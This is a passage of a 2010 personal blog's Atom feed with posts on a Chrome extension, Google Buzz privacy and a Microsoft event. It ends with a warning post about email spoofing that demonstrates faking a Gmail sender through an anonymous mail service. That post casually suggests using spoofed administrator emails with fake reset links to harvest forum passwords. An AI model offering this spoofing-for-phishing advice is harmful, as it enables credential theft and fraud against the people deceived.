href="http://stackoverflow.com/questions/2073436/ocaml-resources"&gt;OCaml resources?&lt;/a&gt;&lt;/h4&gt;  &lt;p&gt;For more resources check out the &lt;a href="http://stackoverflow.com/questions/tagged/ocaml" target="_blank"&gt;OCaml questions on stackoverflow&lt;/a&gt;, and don’t hesitate to leave a question there if you have any, it is a very active community.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-8204316558640371824?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/8204316558640371824/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/02/learning-ocaml-questions-from.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8204316558640371824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8204316558640371824'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/02/learning-ocaml-questions-from.html' title='Learning OCaml, Questions From Stackoverflow.com'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-2725312531063886483</id><published>2010-02-15T22:14:00.005+01:00</published><updated>2010-02-15T22:27:52.076+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='bloginto'/><title type='text'>BlogInto 1.0 is available, now with Bloginy “Algérie” and “Maroc” support</title><content type='html'>After the &lt;a bitly="BITLY_PROCESSED" href="http://www.martani.net/2009/12/bloginto-first-google-chrome-extension.html" target="_blank"&gt;first release&lt;/a&gt; of the BlogInto extension for Google Chrome, today I’m pleased to announce that a new release is already here with the support of some new features, especially with the apparition of the Morocco’s Bloginy, the twin to the Algerian one.&lt;br /&gt;&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://lh6.ggpht.com/_MIqc395dv38/S3m5D_GNs7I/AAAAAAAABIc/HpFZ0XQL56o/s1600-h/bloginto%5B4%5D.png"&gt;&lt;img alt="bloginto" border="0" height="340" src="http://lh6.ggpht.com/_MIqc395dv38/S3m5EjhebZI/AAAAAAAABIg/tAmVvdogwgQ/bloginto_thumb%5B2%5D.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline;" title="bloginto" width="237" /&gt;&lt;/a&gt; &lt;a bitly="BITLY_PROCESSED" href="http://lh6.ggpht.com/_MIqc395dv38/S3m5FSObdlI/AAAAAAAABIk/gSEj0PvOXFI/s1600-h/bloginto-settings%5B3%5D.png"&gt;&lt;img alt="bloginto-settings" border="0" height="267" src="http://lh6.ggpht.com/_MIqc395dv38/S3m5GIykEXI/AAAAAAAABIo/LI09CYDsmcE/bloginto-settings_thumb%5B1%5D.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline;" title="bloginto-settings" width="340" /&gt;&lt;/a&gt;&lt;br /&gt;If you already have the extension installed then you will be prompted automatically to install the new version, otherwise you can install it directly from here : &lt;a href="http://bit.ly/bloginto" rel="http://bit.ly/plugins/iframe?hashUrl=http%3A%2F%2Fbit.ly%2Fbloginto" style="line-height: 1em;" title="http://bit.ly/bloginto"&gt;http://bit.ly/bloginto&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: 19px; font-weight: bold;"&gt;Security settings :&lt;/span&gt;&lt;br /&gt;During the installation you will be prompted that the extension will access multiple websites, this is due to loading feeds from both &lt;em&gt;bloginy.com&lt;/em&gt; and &lt;em&gt;bloginy.ma&lt;/em&gt;, so it is totally ok to install it, the extension doesn’t access any of your private data, or any other websites except those mentioned before.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;If you still concerned about your privacy settings, you can check the source code (yeah, didn’t I mention is it open source? keep reading &lt;em&gt;&lt;strong&gt;:)&lt;/strong&gt;&lt;/em&gt; )&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://lh5.ggpht.com/_MIqc395dv38/S3m5G-kEH5I/AAAAAAAABIs/hNmjNjub6cA/s1600-h/bloginto-update-permission%5B3%5D.png"&gt;&lt;img alt="bloginto-update-permission" border="0" height="166" src="http://lh4.ggpht.com/_MIqc395dv38/S3m5HUxlN7I/AAAAAAAABIw/Aolk_a_cKMQ/bloginto-update-permission_thumb%5B1%5D.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline;" title="bloginto-update-permission" width="321" /&gt;&lt;/a&gt;&amp;nbsp;&lt;a bitly="BITLY_PROCESSED" href="http://lh4.ggpht.com/_MIqc395dv38/S3m5IJ3yluI/AAAAAAAABI0/LrLiMzFi5TM/s1600-h/BlogInto-install%5B3%5D.png"&gt;&lt;img alt="BlogInto-install" border="0" height="135" src="http://lh3.ggpht.com/_MIqc395dv38/S3m5I59SMpI/AAAAAAAABI4/_u1gNgzznA8/BlogInto-install_thumb%5B1%5D.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline;" title="BlogInto-install" width="281" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;What’s new : &lt;/h3&gt;Actually there is no much about this since the new API isn’t out yet, but some improvements have been made also : &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Support for both the &lt;em&gt;Bloginy.com&lt;/em&gt; (&lt;strong&gt;Algeria&lt;/strong&gt;) and &lt;em&gt;Blogiy.ma&lt;/em&gt; (&lt;strong&gt;Morocco&lt;/strong&gt;) websites &lt;/li&gt;&lt;li&gt;Options page: here you can specify your username / login to access &lt;em&gt;Bloginy.ma&lt;/em&gt; because it still in private beta (ask &lt;a bitly="BITLY_PROCESSED" href="http://twitter.com/youknowriad/" target="_blank"&gt;@youknowriad&lt;/a&gt; or &lt;a bitly="BITLY_PROCESSED" href="http://twitter.com/hsouiba/" target="_blank"&gt;@hsouiba&lt;/a&gt; for access) &lt;/li&gt;&lt;li&gt;The possibility to choose a default feed, yep, if you are from Algeria I guess you would like to see the &lt;strong&gt;Dz&lt;/strong&gt; feed by default and same for the &lt;strong&gt;Morocco&lt;/strong&gt; users &lt;/li&gt;&lt;li&gt;Faster, smoother than the old release, some animation (bonus &lt;strong&gt;&lt;em&gt;;)&lt;/em&gt;&lt;/strong&gt; ) &lt;/li&gt;&lt;li&gt;More coming soon… &lt;/li&gt;&lt;/ul&gt;&lt;a bitly="BITLY_PROCESSED" href="http://lh6.ggpht.com/_MIqc395dv38/S3m5JigizmI/AAAAAAAABI8/8Uxl0hpnz4w/s1600-h/bloginto-settings%5B10%5D.png"&gt;&lt;img alt="bloginto-settings" border="0" height="260" src="http://lh4.ggpht.com/_MIqc395dv38/S3m5KRTVvbI/AAAAAAAABJA/iEyw2MlXkho/bloginto-settings_thumb%5B4%5D.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="bloginto-settings" width="331" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;The source code :&lt;/h3&gt;Now everyone can contribute to make the extension better, I hosted the project on Google code so that everyone can contributes by tracking issues, asking for new features or even by making your own modifications to the source code.&lt;br /&gt;The project is under &lt;a bitly="BITLY_PROCESSED" href="http://www.apache.org/licenses/LICENSE-2.0"&gt;Apache License 2.0&lt;/a&gt; (&lt;em&gt;almost no idea why I chose this among others..&lt;/em&gt;) so you are very welcome to contribute, of course if you are a user, do not install the extension from other sources than the official Google extensions website.&lt;br /&gt;I am the only one who has the (*.pem) key to make an updated version on the Google website, so be careful to install it from any other sources, people can do bad stuff injecting code and stealing you data while hiding behind the (name of) the extension.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Project url&lt;/strong&gt; : &lt;a bitly="BITLY_PROCESSED" href="https://code.google.com/p/bloginto-chrome/"&gt;https://code.google.com/p/bloginto-chrome/&lt;/a&gt;    &lt;br /&gt;&lt;strong&gt;SVN&lt;/strong&gt; : &lt;a bitly="BITLY_PROCESSED" href="http://bloginto-chrome.googlecode.com/svn/trunk/" target="_blank"&gt;http://bloginto-chrome.googlecode.com/svn/trunk/&lt;/a&gt;    &lt;br /&gt;&lt;strong&gt;Bugs / Issues&lt;/strong&gt; : &lt;a bitly="BITLY_PROCESSED" href="https://code.google.com/p/bloginto-chrome/issues/list" title="https://code.google.com/p/bloginto-chrome/issues/list"&gt;https://code.google.com/p/bloginto-chrome/issues/list&lt;/a&gt;    &lt;br /&gt;&lt;strong&gt;Request new features&lt;/strong&gt; : &lt;a bitly="BITLY_PROCESSED" href="https://code.google.com/p/bloginto-chrome/wiki/Requesting_Features"&gt;https://code.google.com/p/bloginto-chrome/wiki/Requesting_Features&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Well, that’s it, enjoy, and don’t feel shy to leave a comment :D.&lt;br /&gt;&lt;br /&gt;(Thanx to &lt;a bitly="BITLY_PROCESSED" href="http://twitter.com/cyounes/" target="_blank"&gt;@cyounes&lt;/a&gt; for the help with the picture on the options page.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-2725312531063886483?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/2725312531063886483/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/02/bloginto-10-is-available-now-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2725312531063886483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2725312531063886483'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/02/bloginto-10-is-available-now-with.html' title='BlogInto 1.0 is available, now with Bloginy “Algérie” and “Maroc” support'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_MIqc395dv38/S3m5EjhebZI/AAAAAAAABIg/tAmVvdogwgQ/s72-c/bloginto_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-4957110782565714375</id><published>2010-02-11T02:34:00.001+01:00</published><updated>2010-02-11T02:34:51.087+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Buzz, Edit You Privacy Settings Now</title><content type='html'>&lt;p&gt;I’m gonna make it quick, whether you like that Google Buzz thing or not, you should get your hands dirty with it slowly. (for me twitter is more than enough to socialize online).&lt;/p&gt;  &lt;p&gt;I wanted to turn it off, and I was too happy to find a link in Gmail to turn it of, so I did.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/S3NepJ8Q1PI/AAAAAAAABGs/Z2ufSpcg7L4/s1600-h/1%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="1" border="0" alt="1" src="http://lh3.ggpht.com/_MIqc395dv38/S3Nept995YI/AAAAAAAABGw/-XAh4mWxnHw/1_thumb%5B1%5D.png?imgmax=800" width="477" height="63" /&gt;&lt;/a&gt;But it does nothing other than hiding feeds from Gmail, go to &lt;a href="http://www.google.com/profiles/me" target="_blank"&gt;your profile&lt;/a&gt; and you will find all your Buzz there, along with the people you *most* contact on Gmail. Here are &lt;a href="http://www.businessinsider.com/warning-google-buzz-has-a-huge-privacy-flaw-2010-2" target="_blank"&gt;some scenarios&lt;/a&gt; others can use this information for :&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;But it's bad for others too. Two obvious scenarios come to mind:&lt;/p&gt;    &lt;ul&gt;     &lt;li&gt;Imagine if a wife discovering that her husband emails and chats with an old girlfriend a ton. &lt;/li&gt;      &lt;li&gt;Imagine a boss discovers a subordinate emails with executives at a competitor.&lt;/li&gt;   &lt;/ul&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/S3Neq6eANrI/AAAAAAAABG0/gHiuKsIB0aI/s1600-h/2%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="2" border="0" alt="2" src="http://lh4.ggpht.com/_MIqc395dv38/S3NerlwySTI/AAAAAAAABG4/9YyFMG1NENA/2_thumb%5B1%5D.png?imgmax=800" width="522" height="215" /&gt;&lt;/a&gt; So what to do? &lt;em&gt;First&lt;/em&gt;, to hide people you follow and your followers, click on &lt;strong&gt;Edit Profile &lt;/strong&gt;and uncheck &lt;strong&gt;“Display the list of people I'm following and people following me”&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/S3NesQikxtI/AAAAAAAABG8/zZEfCxV83Ec/s1600-h/3%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="3" border="0" alt="3" src="http://lh4.ggpht.com/_MIqc395dv38/S3NetHs8p8I/AAAAAAAABHA/O3KqfbQH9os/3_thumb%5B1%5D.png?imgmax=800" width="454" height="213" /&gt;&lt;/a&gt; &lt;em&gt;Second&lt;/em&gt; to hide completely your Buzz from your Google profile, you have to delete them one by one yourself: click on the down-arrow icon on the right of the Buzz and select &amp;quot;&lt;strong&gt;Delete this post&lt;/strong&gt;&amp;quot;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/S3Net0XIZrI/AAAAAAAABHE/8sSeL_dyl7k/s1600-h/4%5B4%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="4" border="0" alt="4" src="http://lh5.ggpht.com/_MIqc395dv38/S3Neuj3_fnI/AAAAAAAABHI/adfaQRxeL1s/4_thumb%5B2%5D.png?imgmax=800" width="496" height="109" /&gt;&lt;/a&gt; And finally, why would you use Google Buzz for? Do you still need another social network?&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-4957110782565714375?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/4957110782565714375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/02/google-buzz-edit-you-privacy-settings.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4957110782565714375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4957110782565714375'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/02/google-buzz-edit-you-privacy-settings.html' title='Google Buzz, Edit You Privacy Settings Now'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_MIqc395dv38/S3Nept995YI/AAAAAAAABGw/-XAh4mWxnHw/s72-c/1_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-254443052562152485</id><published>2010-02-05T21:19:00.004+01:00</published><updated>2010-02-10T20:11:09.621+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='technology'/><category scheme='http://www.blogger.com/atom/ns#' term='techdays'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>Are You Attending the MS Techdays Paris 2010?</title><content type='html'>&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;[Update]&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;It seems that there is an official website which was setup specifically for streaming the event live, check it out here :&amp;nbsp;&lt;a href="http://twitter.com/MSTechDays/status/8680652444" targer="_blank"&gt;http://twitter.com/MSTechDays/status/8680652444&lt;/a&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;The Microsoft Techdays 2010 will take place this Monday February 8th to Wednesday February 10th, 2010 in Paris. The event is open and free for everyone, although the invites are closed now, you can always get your badge in place.&lt;br /&gt;It will be held in Le Palais des Congrès in Paris (metro &lt;a href="http://maps.google.com/maps?daddr=Porte+Maillot+%4048.877946,2.281925&amp;amp;geocode=&amp;amp;dirflg=&amp;amp;saddr=paris&amp;amp;f=d&amp;amp;sll=48.878899,2.281916&amp;amp;sspn=0.007818,0.01929&amp;amp;ie=UTF8&amp;amp;ll=48.87698,2.282753&amp;amp;spn=0.007818,0.01929&amp;amp;z=16" target="_blank"&gt;Station Porte Maillot-Palais des Congrès&lt;/a&gt;. Or RER C the same station).&lt;br /&gt;I’ll try to broadcast the plenary session (depending of the speed of the WiFi there), especially the first day here : &lt;a href="http://qik.com/martani" target="_blank" title="http://qik.com/martani"&gt;http://qik.com/martani&lt;/a&gt; or here : &lt;a href="http://www.ustream.tv/channel/martani" target="_blank" title="http://www.ustream.tv/channel/martani"&gt;http://www.ustream.tv/channel/martani&lt;/a&gt;. The session will be live from 9am to 11:30am (GMT + 1).&lt;br /&gt;I’ll also try to broadcast some sessions I’ll attend (Coding4Fun etc..), so to stay tuned, follow me on twitter here &lt;a href="http://twitter.com/martani_net"&gt;@martani_net&lt;/a&gt;.&lt;br /&gt;More info about the event here : &lt;a href="http://www.microsoft.com/france/mstechdays/default.aspx" target="_blank"&gt;http://www.microsoft.com/france/mstechdays/default.aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-254443052562152485?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/254443052562152485/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/02/ms-techdays-paris-2010-will-you-be.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/254443052562152485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/254443052562152485'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/02/ms-techdays-paris-2010-will-you-be.html' title='Are You Attending the MS Techdays Paris 2010?'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-3058249113623822552</id><published>2010-01-27T23:27:00.003+01:00</published><updated>2010-01-28T00:41:07.524+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='email'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>[Warning] Do You Trust Email?</title><content type='html'>With&lt;strong&gt; 90 trillion&lt;/strong&gt; emails &lt;a href="http://royal.pingdom.com/2010/01/22/internet-2009-in-numbers/" target="_blank"&gt;sent in 2009&lt;/a&gt; and an average of &lt;strong&gt;247 billion&lt;/strong&gt; email messages per day, email is one of the most valuable technologies to the &lt;strong&gt;1.4 billion&lt;/strong&gt; email users world-wide.&lt;br /&gt;Despite these huge numbers, email is still the same as it was before 40 years from now, and security is a major problem that is facing our privacy day after day.&lt;br /&gt;&lt;br /&gt;Most of email users have no idea about how email works, and have no idea that an email claimed to be from &lt;em&gt;AAA@BB.COM&lt;/em&gt; can be easily sent from anyone with a simple internet connection. To name some ways to send fake emails, we can state Telnet or the mail Linux command.&lt;br /&gt;&lt;br /&gt;To start, let’s consider the following email:&lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_MIqc395dv38/S2C9z7V6GdI/AAAAAAAABCY/hD3tYwmFTlM/s1600-h/email%5B3%5D.png"&gt;&lt;img alt="email" border="0" height="230" src="http://lh4.ggpht.com/_MIqc395dv38/S2C90vKJx2I/AAAAAAAABCc/zi8Z24LMJ8k/email_thumb%5B1%5D.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="email" width="386" /&gt;&lt;/a&gt; As you can see, the email is with the name &lt;em&gt;Gmail Team&lt;/em&gt; and address &lt;em&gt;mail-noreply@gmail.com&lt;/em&gt;, seems from Gmail right? well, there is no way to tell, and almost all the information you see in the above picture can be faked easily as we will see later.&lt;br /&gt;Note that Gmail may warn you that the email might not be from the one who claims it is from, but in almost all the cases it does not, so don’t rely on it.&lt;br /&gt;&lt;br /&gt;To reveal the real identity of the email, we have to check out the email headers, in Gmail you can select the arrow at the right corner and then choose&lt;strong&gt;&lt;em&gt; Show Original Message&lt;/em&gt;&lt;/strong&gt;.     &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Delivered-To: ********@gmail.com      &lt;br /&gt;Received: by 10.223.117.195 with SMTP id s3cs462739faq;       &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Mon, 13 Jul 2009 06:24:52 -0700 (PDT)       &lt;br /&gt;Received: by 10.211.166.2 with SMTP id t2mr4gdcvf553ebo.26.1247491492708;       &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Mon, 13 Jul 2009 06:24:52 -0700 (PDT)       &lt;br /&gt;Received: from mail-bw0-f225.google.com (mail-bw0-f225.google.com [209.85.218.225])       &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; by mx.kundenserver.de (node=mxeu8) with ESMTP (Nemesis)       &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; id 0MKt1w-1McvbcWV0fL6-000RBi for contact@******.info; Mon, 13 Jul 2009 15:24:51 +0200       &lt;br /&gt;Received: by bwz25 with SMTP id 25socxvbcv5363bwz.1       &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for &amp;lt;contact@*******.info&amp;gt;; Mon, 13 Jul 2009 06:24:50 -0700 (PDT)&lt;br /&gt;&lt;/blockquote&gt;This is the path the message followed to reach the destination, if the email was really sent from Google servers, the IP address that appears in the last &lt;strong&gt;Received&lt;/strong&gt; section would be from Google, but even this can not be trusted and the email header could be forged easily too &lt;a href="http://superuser.com/questions/86310/how-to-verify-an-emails-sender-identity" target="_blank"&gt;&lt;em&gt;[LINK]&lt;/em&gt;&lt;/a&gt;.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: 19px; font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: 19px; font-weight: bold;"&gt;A proof of concept :&lt;/span&gt;&lt;br /&gt;If you can’t find a open delivery server to use with telnet (actually if you are a student, you can use the university’s SMTP server easily to send emails), you can use the many web services out there that provides anonymous email sending.&lt;br /&gt;&lt;br /&gt;For test purposes, I will use &lt;a href="http://deadfake.com/Send.aspx"&gt;http://deadfake.com/Send.aspx&lt;/a&gt; to send sophisticated emails, they provide a &lt;em&gt;WYSIWYG&lt;/em&gt; interface as far as a free access to their mail server using telnet. Here are the sent message and the received in the victims email.&lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/S2C91TVu_SI/AAAAAAAABCg/Pnq4cAOcPlA/s1600-h/fake_email%5B6%5D.png"&gt;&lt;img alt="fake_email" border="0" height="324" src="http://lh5.ggpht.com/_MIqc395dv38/S2C92LM8FCI/AAAAAAAABCk/pWUo1M0pCVc/fake_email_thumb%5B4%5D.png?imgmax=800" style="border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="fake_email" width="433" /&gt;&lt;/a&gt; &lt;a href="http://lh3.ggpht.com/_MIqc395dv38/S2C93MNqW8I/AAAAAAAABCo/qkxtIRR0pKw/s1600-h/fake_received%5B4%5D.png"&gt;&lt;img alt="fake_received" border="0" height="296" src="http://lh5.ggpht.com/_MIqc395dv38/S2C94MfcF3I/AAAAAAAABCs/Phh00NxCuvg/fake_received_thumb%5B2%5D.png?imgmax=800" style="border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="fake_received" width="556" /&gt;&lt;/a&gt; As you can see, the sender is &lt;em&gt;mail-noreply@gmail.com&lt;/em&gt; which is usually the address you get emails from when you request a new password or register a new Google service with your Gmail ID, &lt;strong&gt;definitely&lt;/strong&gt; you can’t trust an email from its address.&lt;br /&gt;&lt;h3&gt;Hold on!!!&lt;/h3&gt;If you think this service is heaven for your email crimes, then think again, if you show the headers of the faked message, you will find that the source IP is set to your own IP address, so be careful with that, maybe a little proxy can give you some privacy, but nothing is guaranteed, think twice before doing anything.&lt;br /&gt;&lt;br /&gt;Still maybe the fact of using signed emails and certificates, but I’m not sure how practically this will help when we deal with hundred of millions of people who don’t give a damn about privacy, further explanation why this won’t save you neither could be found here&lt;em&gt; &lt;/em&gt;&lt;a href="http://superuser.com/questions/33610/is-email-encryption-practical-enough" target="_blank"&gt;&lt;em&gt;[LINK].&lt;/em&gt;&lt;/a&gt;&lt;br /&gt;Oh.. and to not forget, if you don't sign your emails, anyone on the route of your email can read it simply, also mails take months before they got deleted from server’s cache so don’t be happy with deleting mail from you inbox :D.&lt;br /&gt;&lt;h3&gt;How this can be used :&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;You can for example trick your friends by sending them emails with your teacher’s email telling them there is an exam tomorrow or any funny trick like this, it is impossible for them to tell if it is a faked email especially when you send it from the mail servers at your university (this is &lt;a href="http://www.facebook.com/people/Ramy-Bou-Dames/591155138" target="_blank"&gt;Ramy’s&lt;/a&gt; plan for the 1st April XD).&lt;/li&gt;&lt;li&gt;You can get passwords from your community, a simple email with the address of the forum’s administrator and a faked link to reset their passwords…&lt;/li&gt;&lt;li&gt;You can trick almost whoever you want, your boss for instance, sending him an email with his boss’&amp;nbsp; email from within the same domain, cannot be more funnier than that.&lt;/li&gt;&lt;li&gt;And anything you can imagine, because no one actually checks the source of the email.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Conclusion :&lt;/h3&gt;&lt;strong&gt;Never trust *email*&lt;/strong&gt;, as far as you don’t give a damn too, it is ok to use it the way you are doing now, but once serious things happen, email won’t help you,and if someone want to track you… then email is the easiest and the most insecure way to get you down, watch the headers as much as you can, and don’t forget to check for IPs using &lt;a href="http://cqcounter.com/whois/" target="_blank"&gt;“whois” services&lt;/a&gt;.&lt;br /&gt;So, do you still trust email?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-3058249113623822552?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/3058249113623822552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/01/warning-do-you-trust-email.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3058249113623822552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3058249113623822552'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/01/warning-do-you-trust-email.html' title='[Warning] Do You Trust Email?'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_MIqc395dv38/S2C90vKJx2I/AAAAAAAABCc/zi8Z24LMJ8k/s72-c/email_thumb%5B1%5D.png?imgmax=800' height='72' 